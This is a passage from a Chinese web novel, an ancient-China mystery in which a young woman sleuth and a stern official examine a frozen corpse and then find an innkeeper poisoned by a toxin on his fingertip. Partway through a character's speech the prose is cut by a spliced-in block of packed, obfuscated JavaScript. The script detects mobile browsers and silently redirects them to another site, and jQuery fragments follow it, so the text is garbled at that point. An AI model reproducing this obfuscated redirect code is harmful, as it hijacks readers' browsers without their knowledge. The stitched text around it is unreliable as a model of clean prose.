“那、那岂不是说,这个案件和酒楼里那个得病毁容的姑娘并不相干?” “这恐怕也是她诡计中的一环,你不觉得,这件案子初始的线索都在指向那个不明身份的女子?其实,这便是凶手故意布下的疑阵,想让我们以为此案是那个姑娘所为。” 长夏恍然大悟,拳头砸在掌心:“原来如此,若我们当真把目标定在那位姑娘身上,此案便会成为悬案,凶手便可逃之夭夭,高枕无忧了。” “姑娘当真厉害,所以姑娘初以看到徐二姑娘被害的现场,便已经看出是熟人作案,且案子并不复杂,意思便是说凶手并不难找,难的只是杀人手法,对吗?” 沈卿尘点头。 长夏难掩心中激动,来回扭着身子问:“那接下来我们要怎么查?好像也没什么线索啊?而且奴婢还是没明白这个海棠花与梨花有什么关系。” “不急,待我先卖个关子,待找到证据,识破诡计,我自然会解释与你听。” 说话间,外头忽而传来六子的声音:“姑娘,雁鸣池到了,外头又飘起了雪花,两位姑娘当心些。” 马车缓缓停下,长夏先一步推开马车门,低头弯腰出去:“哎呀,雪花挺大,姑娘小心脚下。” 远远的,他们便瞧见雁鸣池边乌压压的聚着一群人,顾西辞竟是还在这里,并未走。 “哎,瞧我这记性。”六子抬手在脑袋上敲了下,“竟是忘记雁鸣池结了冰,尸体在水里,想来没那么容易打捞上来。” 说着话,三人已经靠近人群边缘,六子动作十分利落地走在前面,一边说着“让一让,谢谢”的话一边往前挤,很快便清出 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视线继续往下,死者上身衣服尚且完整,但稍显凌乱,下身衣摆随水流缓缓飘动,可瞧见裸露在外的双腿,因他身着白底绣暗纹长袍,小腹以下及衣摆上皆粘有明显血迹,只因被水冲过,颜色极淡。 “大人,属下已经将冰层凿开,因厚度不够,属下担心会整个裂开,恐生危险,请您和这位姑娘暂且离开这里回到岸上。” 闻言,沈卿尘和顾西辞几乎是同时起身,又同时转身离开,却极为不默契的一左一右转向不同的方向,以至于两人就这样撞在一起。 脚下忽然“咔嚓”一声轻响,承受不住重量的冰面瞬间裂开蛛网般无数的裂痕。 眼瞧着冰面彻底裂开,岸上人发出阵阵惊呼,长夏更是吓的一声惊呼便要冲过去救人,被六子一把拉住。 “别去,免得救不了姑娘还把自己连累了,顾大人武功高强,定然不会让姑娘落水的。” 如今正值冬季,若真落了水,便是不会淹死,也定然要大病一场的。 他们所在的位置距离岸边甚远,若是跑回来冰面只会裂的更快,若只有沈卿尘一人,她完全不必担心,毕竟她轻功不弱。 可眼下顾西辞也在这里,她还不能暴露自己会武功。 脚下又是几声“咔嚓”声,冰面瞬间裂开,沈卿尘毫无防备,整个人忽然向下,眼瞧着就要掉入水里,腰间却忽然多了只极为有力的手臂。 沈卿尘一转头便瞧见几乎与自己脸贴脸的顾西辞,他面色紧绷,神情严肃,也不见如何使力,便带着她飞入空中,足尖轻点冰面几下,人便已安全落回岸上。 刚一落地,顾西辞便立刻松开她,这便导致尚未站稳的沈卿尘重心不稳,摇晃着险些摔倒,幸而被边上的长夏一把抱住。 “姑娘,你没事吧?” 沈卿尘摇头,转身望向湖面,却见冰层已经碎裂开一大片,而那凿冰的差役也已落入水中。 她眉头轻皱,下意识开口:“快救那人。” “无妨,他会凫水。”站在边上的顾西辞轻声道,目光始终注视湖面,便是救人之时,都没有多看她。 “可这是冬日。” “他冬泳。” 行吧。 他倒是思虑的周详。 沈卿尘不再言语,目光紧盯湖面上还在费力凿冰,又不时钻进水里将死者拖上来的差役。 “发现死者的,是何人?”沈卿尘再次询问,便是顾西辞不一定会说,也依旧问了。 10. 灭口 顾西辞沉默不语,倒是他边上站着的一名差役小心说道:“是几名在此玩耍的孩童。” 沈卿尘沉默等待他继续下文,差役明显不解,被她漆黑幽深的眼眸盯着,越发局促不安:“那个……那几个孩子最小的四岁,最大的也不过八岁,都吓坏了,什么都问不出来。” 沈卿尘点点头,刚要去看看周围环境,却听到湖中传来“哗啦”地水声,那凿冰的差役从水下冒出头,抹了把脸上的水,手臂一用力,湖面上又出现一颗黑乎乎的头颅。 见状,另几名差役立刻上前帮忙,四个人将尸体从水中捞出,搬上岸边。 一股夹着寒气的浓烈铁锈味瞬间四溢,周围人皆是捂着口鼻退避三舍,只一名背着漆木药箱的中年男子匆忙而至,在尸体旁蹲下后,便先去翻尸体的眼睛,却没能翻开。 沈卿尘这才走到尸体旁蹲下细看。 因为是冬日,尸体又被丢进湖水中浸泡,此时尸体表面覆着一层薄冰,裸露在外的皮肤呈苍白蜡状,手指与脚趾泛白发皱,尸体冰冷僵硬如石。 那仵作上下查看,只觉无从下手,便起身弓腰回禀:“大人,尸体被冻住,无法查验,不若先抬回验房,待小人细细查验。” 顾西辞并未答话,只低头盯着地上蹲着的少女,见她认真正认真查看尸体,忽然开口询问:“姑娘也懂验尸?” 沈卿尘正看的认真,听到此话,也未抬头:“略懂一二。” “抬走。”顾西辞突然发话。 沈卿尘:“……” 两名差役将尸体抬上板舆,一声嚎叫忽从人群外传来,差役尚未反应过来,便见一妇人从人群中奔出,直直扑在尸体上。 “啊,我的儿啊!” 因事发突然,二人毫无防备,被那妇人一扑,尸体连着板舆随着那声嚎叫一道重重摔落在地。 妇人不妨,随之摔倒在尸体上,压出一滩血水来,她却不管不顾,只抱着尸体嚎啕大哭。 “我的儿啊,你怎么死的这么惨,是哪个天杀的害死了你,我定然要将他千刀万剐……” 沈卿尘蹙起眉头,一抬眼便见一身着绛色朝服的中年男子疾步而来,瞧见地上尸体时,身体一晃,捂着额头摇晃着后退几步,险些摔倒,幸而被身后紧随的侍从搀扶住。 “聂侍郎节哀。”顾西辞突然开口,虽是在安慰人,声音却没什么温度。 “顾、顾大人,这是……这是怎么回事?弘儿他怎会……” 聂祺任兵部侍郎,又承袭父亲忠勇伯的爵位,乃朝中要员,如今他的三子死于非命,此事必然是要惊动圣上的。 “此案蹊跷,还请聂侍郎配合调查,稍后我便会带人去府上查问,令公子的尸身我先带回衙门,令仵作查验。” “是是,还请顾大人严查此案,还我儿一个公道。”聂祺双目通红,说这话时亦是咬牙切齿,恨不能手撕了凶手的模样。 顾西辞依旧面不改色,公事公办的模样:“大理寺秉公办案,自会查明真相,缉拿凶手。” 他向来如此,无论对何人何事都是这般不讲情面,无论是朝中官员,亦或是京城世家,也都没有往来,正因为如此,景隆帝才极为信任且重用他。 而后,顾西辞命人抬走尸首,聂祺半抱着哭到全身瘫软,几乎昏死过去的聂夫人一道离开。 自始至终,顾西辞都未再看沈卿尘一眼。 “姑娘,您方才可有瞧出什么来?” 沈卿尘摇头,随即道:“走,去周围看看。” —— 雁鸣池边多种杨柳,若是春日,必然绿柳成荫,游人如织。如今却是冬日,虽说另有一番风景,却显萧条寂寥的多。 沿着池边小道一路往东行,皑皑白雪下偶有枯草露出头来,却又被漆黑的脚印深深踩踏回泥里。 沈卿尘一路走一路看,细细观察地上可能留下的任何痕迹。 长夏虽不擅查案,但跟随沈卿尘多年,也是耳濡目染,知道她在找什么,便说道:“昨夜后半夜忽降大雪,便是有脚印,只怕也被掩盖了,况且今日已过半晌,这池边行人过多,痕迹早已被破坏,姑娘在找什么?” 沈卿尘却是摇头:“不知道。” 长夏早已习惯,也不再询问,只安静跟在她身边。 不远处,一家酒肆门前的招子被风吹的呼呼作响,沈卿尘抬眸忘去,却见一身着黑袄,须发皆白的老者双手插袖坐于酒肆门廊下,身前红泥小炉上的烧水壶咕嘟咕嘟冒着响,壶嘴喷出的白气随风散于空中。 沈卿尘上前几步,蹲下身体看着闭目似是睡着的老者:“老伯,水烧开了。” 老伯却似没听到一般一动不动。 沈卿尘疑惑的微微侧头,却瞧见他被乱须覆盖下的嘴唇一片青乌,她心头一跳,抬起双指置于老者鼻下,却是毫无气息。 她立刻又抬手摸老者脖颈处,随后放下手,后退两步。 “死了。” 长夏还在转头看周围环境,听到这话明显一怔:“什么?” 沈卿尘转头看她:“你即刻去找六子,让他去大理寺报案,就说又有案子。” 长夏刚要走,又被沈卿尘叫住:“吩咐过六子后,你立刻去妙音寺打问关于徐雨湘在寺里的一切行动,事无巨细,切不可放过一个细节。” “是。”长夏刚要走,又顿步问,“那姑娘呢?” “我在此等大理寺来人。” 此时正值午时,又因天阴大雪,酒肆里空无一人,未燃灯便显得异常昏暗,悄无声息。 “是。” 长夏转身离开。 见她走远,沈卿尘便倾身开始探查周围,见一杯盏落于老者所坐的竹制方杌下,不禁心生疑惑。 沈卿尘并未触碰尸体,只绕着走了一圈,除开地上掉落的茶杯外,再无其它线索。 莫不是自杀? 思索间,忽听隔壁传来泼水声,她走出廊檐,便瞧见隔壁开着的茶馆前站着一位妇人,正好奇的朝这边探着脑袋。 见沈卿尘望见自己,那妇人脑袋一缩便要回去,被沈卿尘及时叫住 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沈卿尘原想着要如何开口打探,见她主动提起倒也省了事:“是,昨夜子时前后,您可有听到什么声音或是看到什么人?” 那妇人忽然双手交叠放在腿上,微微仰头转着眼珠瞧了一圈屋内:“姑娘,您别看我这茶馆小,生意可是好的很,晨起得早早开门迎接那些去城里的外地人,我们这也不是客栈,到了晚上关门便也早,我与当家的又睡的死,所以什么都没听到,更没看到。” 沈卿尘点点头,不欲再问。 这时,后厨传来“面好了”的声音,那妇人“哎”了一声立刻起身去将面端了上来。 沈卿尘抽出一双筷子,用帕子细细擦拭,那妇人见道:“姑娘放心,我这里的碗筷都清洗的极为干净,姑娘可是那城里传的神眼探官?” 不过才一日的功夫,消息竟已传至城外,但见那妇人满脸好奇之相,沈卿尘继续沉默不语。 “姑娘不必惊讶,您别瞧我这个样子,但其实我观察的老仔细了,只是我没那么好的命,没有给我查案的机会,不然我定然也能做个神耳探官什么的,不过,我也没姑娘长的这般好看,神仙人儿似的。” 沈卿尘见她说话前言不搭后语,又是个话多的,便说道:“眼下不正有机会?若您能绑着揪出雁鸣池案凶手,指不定便成了神耳判官。” 此话一出,那妇人双眸陡然发亮,显然是对探案当真有兴趣:“若是这般那便太好了,不过,我真没听到什么声音。” “无妨。”沈卿尘放下筷子,“隔壁酒馆的老伯您可认得?” “啊,你是说李伯?我们都是十几年的老邻居了,自然认得,他啊,无儿无女的孤家寡人一个,早些年赌博赢了些钱财,便在此处开了酒楼,过的也是滋润,哦,对,若是想问昨夜的事,可去问他,他消息灵通着呢,又是个老酒鬼,店也时常开到半夜,指不定就看见或者听见了什么。” 这话倒是应了沈卿尘心中猜测,那老伯该是被凶手灭了口。 11. 毒杀 但为着慎重,沈卿尘又问了句:“那李伯可曾与人结怨?” 那妇人也是个极为警觉敏锐的,一听这话,立时便生了兴趣,眼眸亮晶晶的问:“姑娘问这话,可是李伯出了什么事?” 沈卿尘尚未来得及开口,那妇人忽然一拳头砸在自己膝盖上:“是了,定然是昨夜他瞧见了什么,李伯不会被……灭口了吧?” 说这话,妇人的脸色满是惊恐,脸颊两侧的肉不住微微抽动。 “您是说,李伯并未与人结怨?” 妇人深吸口气:“结怨倒也不是没有,就我方才说的,他赌博赢了钱,后来就不赌了,用那钱开了这家酒馆,可他从人家赌场赢了钱,便不去了,人家赌场哪里肯放过他,找上门来要他还钱,李伯为人虽和善,但也是个倔性子,哪里肯还?人家就打断他一条腿,李伯舍不得钱,不肯去找好大夫,腿上就落了疾,成了跛子,可他也不在意,每天乐呵呵的,只要有酒喝就成。” “这是多久的事?” “十几年前了,都是旧事,要说近日吧……还这没什么仇怨,李伯性子随和,与每个来酒馆喝酒的人都能做朋友,人家喝酒不给钱他也不生气,这左邻右舍的不知道多少人欠他酒钱,他也从来不要,下次来喝酒,他一样招待,不可能与什么人有仇?” 说完,她又满是好奇的凑近沈卿尘:“姑娘,我方才还看到李伯坐在门前煮茶喝,可当真是出了什么事?” 沈卿尘只摇头不语,随即拿起筷子开始吃面。 赌场的人万不会为了十几年前的旧事来杀人,如此说来,被灭口的可能便更大了。 这妇人话虽多,倒也是个识趣的,见她开始吃面,也不再打扰,起身便往后厨去了。 沈卿尘夹起面条尝了尝,味道清淡,面条虽劲道,但也不如妇人说的那般夸张,正吃着,忽听后厨传来那妇人的大嗓门。 “什么都没问出来,你别瞧那姑娘长的天仙儿似的,却是个面冷嘴严的,什么都不肯说,倒是从我这里套出不少话,我这个嘴哟……” “声音小点,小心被人听了去,你就是话多,让你不要见人就说个没完,你就是不听……” 沈卿尘低头抿唇轻笑,面条吃了一半,刚要放下筷子,却听外面忽然传来呼喊声。 “赵大哥,赵大嫂,出事了……” 沈卿尘抬头望去,担心李伯的尸体被人发现,遭了破坏,增加调查难度,便起身放了粒碎银子在桌上,随即出门。 那妇人听到喊声,和自家男人慌忙从后厨出来,边走边问:“出什么事了?” 沈卿尘先一步出了门,见酒馆前站着一个头不高的文弱青年,离得近了才看到他竟生的唇红齿白,模样极为秀美,若不是因他身着男装,又生有喉结,定然会被认为是女子。 那青年见沈卿尘过来,明显一愣。 “人已经死了,大理寺很快来人,劝你不要靠近。” 闻言,那青年原本就白皙的皮肤愈发苍白,他忙后退几步,颤声问:“死……死了?可晨起时还好好的,怎会、怎会……” 此时,赵大哥赵大嫂亦是追了出来,恰好听到此话,双双愣在原地。 赵大嫂先反应过来,疾步走至沈卿尘身旁:“姑娘方才说什么?李伯……死了?这不可能,李伯身体一向都好,壮的如耕牛一般,怎会死?” 沈卿尘沉默不语,一股风忽然袭来,旋起地上尚未踩实的碎雪粒子,扑在她随风扬起的裙摆上。 身旁的赵大嫂猛然倒吸一口凉气,险些呛咳起来,声音夹着惊惧道:“莫不是……真被我说中了,李伯他昨夜瞧见了什么,被……灭了口?” 此话一出,方才那股风好似忽然吹在她脖颈上,连带着整个身体都冰凉一片。 “昨、夜……” 后头站着的赵大哥也是满脸惊恐:“我昨夜起夜时的确有听到些声响,我以为是李伯家喝醉了酒的客人,莫不是……” 沈卿尘转身看他,漆黑的目光里满是严肃:“你听到什么声响?” “我……”赵大哥方要开口,忽被赵大嫂一步冲过去,一巴掌拍在他胳膊上,“快别说了,走,我们回家,不好意思啊姑娘,我们……我们什么都没听到,更没看到。” 才一转身,赵大嫂便忍不住小声责备:“你多什么话?没看到李伯都被灭口了,你也不想活了?” 走出几步,赵大嫂又忽然回头:“寒声,你还不快回来?店里一堆事等着料理,你可别想偷懒耍滑。” “是。” 寒声不敢回头再看,低着头快步跟上赵氏夫妇。 此时,远处忽闻马蹄声,沈卿尘抬头望去,却见一群身着玄色锦衣的卫队起码而来,为首之人正是顾西辞。 约是听到声音,赵氏夫妇二人与寒声也相继停下脚步,抬头望去。 卫队转瞬便到了近前,顾西辞不待马匹停下,便飞身下马,黑色狐裘大氅烈烈扬起,卷起空中飘舞的雪花,靴底踏碎一地冰晶。 他身姿挺拔,眉如墨画,眸若寒星,甫一出现便吸引大量目光,引得原本只是路过的行人也不由驻足。 “尸体在何处?”他声音清冷如碎玉投冰,令人不自觉绷紧了脊背,连那偶然落在他鸦羽般浓密睫毛上的冰雪都顷刻融化。 风雪越发大了起来,寒风裹挟着雪花直往人衣领子里钻。 沈卿尘从羽白大氅中抬起纤纤玉手,指向酒馆方向:“那里。” 说完,她也不再看他,转身面向赵大哥与赵大嫂,忽然对上她幽深的目光,赵大嫂仿若被电击般颤了一下,嘴角微抽。 “姑、姑娘。”她扯起嘴角想笑,却只抽了抽脸皮。 “你们不想说也无妨,找到凶手虽是早晚的事,可这早与晚于你们而言却是大不同的,毕竟,我无法判断那凶手今晚不会来找你们灭口。” 两人俱是打了个寒噤,赵大嫂却是歪着头不服气道:“我们什么都没看见,为何要灭我们的口。” 沈卿尘依旧只沉默看着他们,片刻后,那赵大哥先软和下来:“罢了罢了,我说便是。” 闻言,赵大嫂扭头在他手臂上狠掐一把,倒是再未阻拦。 “昨夜雪下的大,但人有三急,憋不得,我便冒雪起夜,到院中果真见雪下的大,又冷,就只想尽快解决回去继续睡,就在我方便完回屋时,听到院外有车轮碾压积雪的咯吱声,我本不在意,隔壁李伯家常有夜里喝醉了酒,叫家人来带回去的,我便没在意。” 说完,他惶恐的看一眼沈卿尘,又抬头看向她身后:“这……我这也不能算看见或听见什么吧?” 赵大哥被吓的面皮不住抖动,心里想着,总不至于自己撒泡尿就被灭了口,那实在冤枉的很。 沈卿尘正欲开口,忽感身边有人靠近,一转头正瞧见顾西辞在她身后一步远处站定,他一路疾驰过来,身上还有风雪裹挟的寒气,只静静站着也让人心生惧意。 她转回头看向赵氏夫妇二人,瞳色明亮,嘴角微扬:“虽不知此线索是否有用,但顾大人面冷心善,想来是愿意派人手保护二位安全的。” 赵大嫂惯会察言观色,听闻此话,立刻拉着丈夫躬身向他表示谢意:“谢谢顾大人,谢谢顾大人,若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457459|169580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们夫妻二人能活着,一定尽全力帮助破案,早日抓到凶手。” 顾西辞:“……” 他何时说过这话? 瞧着顾西辞面色阴暗,沈卿尘垂下眼眸,嘴角却是不自觉扬起。 “卫铮。” 顾西辞冷然开口,一名身着黑色锦衣的侍卫连忙上前:“你带一队人保护此二人性命,直到此案侦破。” “是。”卫铮领命,立刻着手去办。 顾西辞未在看沈卿尘一眼,转身朝酒馆而去,恰好此时仵作初验结束,躬身向他回复:“大人,此人死的蹊跷,小人一时未能查出死因,瞧着像是被冻死的。” “冻死?”顾西辞眉头微蹙,目下冷然。 闻言,沈卿尘上前几步道:“他并非冻死,而是中毒。” “中毒?”那仵作满面惊讶,“可他除了嘴唇发紫外,并未有其它中毒迹象,姑娘如何断定是中毒?” 沈卿尘并未立刻回答,而是走到尸体边,轻声道:“他所中之毒名为‘青霜吻’,闻之有冬青木的香气,入口时微甜,而后略苦涩,易溶于酒水,木凳下有只掉落的杯子,毒药该是下在那杯子上,我发现他尸体时,尚有余温,而此毒服下后只需半个时辰便可毙命,换句话说,就是他的死亡时间在一个半时辰前,也就是我们在池边捞尸之时。” 此言一出,众人皆是惊讶至极,凶手当真胆大,众目睽睽之下竟是也敢杀人。 “大人。” 边上的衙差都是有眼色的,闻言便立刻将那从木凳下拿出来的杯子递上。 顾西辞只瞥一眼仵作,他便立刻会意接过杯子,自验匣中取出银针,试探过后,银针却是毫无反应。 “杯上无毒。”仵作说完,先看一眼顾西辞,又转头看向沈卿尘。 顾西辞亦是转头看他,嘴角微扬起一抹嘲弄:“沈姑娘也有判断错误的时候。” 沈卿尘却是不恼,只转身瞧着他,声音微扬:“我未触碰尸体,更未触碰这里的任何一物,只观察后正常推测,错了也是正常,但他所中之毒确为‘青霜吻’,大人若是不信,一验便知。” 两人四目相对,剑拔弩张。 站在边上瞧热闹的卫铮用手肘碰了碰林骁:“哎,你有没有觉得大人与这沈姑娘之间有一种、别样的……嗯,情谊?” 林骁皱眉歪头,满脸疑惑:“有……吗?” “当然有。”卫铮十分肯定道,“你何时听过大人这般阴阳怪气的与人说话?” 林骁想了想摇头:“还真没有,大人平日里断情绝爱,没有一丝烟火气,过的跟和尚没两样。” 卫铮十分赞同地点头:“如此看来,我们要想办法让这姑娘进大理寺,指不定便能让大人忘了……” 林骁猛然转头看向他,吓的卫铮连忙闭嘴,讪笑着说:“我不说,不说了。” “大人。” 两人对峙的局面被仵作打断:“小人方才验过茶壶与壶中水,都没有验出毒。” 沈卿尘二话不说,伸手从那仵作手中拿走银针,俯身探向尸体的唇周,银针皆是毫无变化。 她不放弃,又蹲下身体,自腰间锦袋中拿出一副半透明,瞧不出材质的护手戴上,捏起死者手指,一根根验。 直到验至左手食指时,银针快速变黑,她举起银针面向顾西辞:“毒药在左手食指上。” 说完,她忽然冷然一笑:“凶手自以为聪明,却不知此番做法,倒是将他身份暴露。” 林骁接言问道:“姑娘此言的意思是,杀害这位老者的凶手与杀害聂三公子的并非同一人?”